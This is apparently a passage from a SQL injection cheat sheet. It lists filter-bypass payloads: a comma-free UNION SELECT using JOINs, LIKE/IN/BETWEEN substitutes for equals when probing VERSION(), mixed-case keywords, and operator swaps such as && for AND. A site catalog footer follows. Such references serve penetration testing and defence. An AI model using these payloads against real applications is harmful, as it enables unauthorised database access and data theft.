SELECT 1,2,3,4 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal Allowed

Bypass using LIKE/NOT IN/IN/BETWEEN

Bypass SQL Example
LIKE SUBSTRING(VERSION(),1,1)LIKE(5)
NOT IN SUBSTRING(VERSION(),1,1)NOT IN(4,3)
IN SUBSTRING(VERSION(),1,1)IN(4,3)
BETWEEN SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

Case Modification

Bypass using uppercase/lowercase.

Bypass Technique
AND Uppercase
and Lowercase
aNd Mixed case

Bypass using keywords case insensitive or an equivalent operator.

Forbidden Bypass
AND &&
OR ||
= LIKE, REGEXP, BETWEEN
> NOT BETWEEN 0 AND X
WHERE HAVING

Labs

References

Explore Related Technologies & Topics

View All 9,111+ Repositories →

Discover similar high-velocity repositories, agent skills, and OpenAPI specifications across the ecosystem.

#ai Browse ai catalog → #ai-agents Browse ai-agents catalog → #ai-cybersecurity Browse ai-cybersecurity catalog → #ai-hacking Browse ai-hacking catalog → #ai-penetration-testing Browse ai-penetration-testing catalog → #ai-security-tool Browse ai-security-tool catalog → ⚡ MCP Servers Model Context Protocol → 🧠 Agent Skills Prompt & rule files → 🔌 OpenAPI Specs REST & Swagger schemas →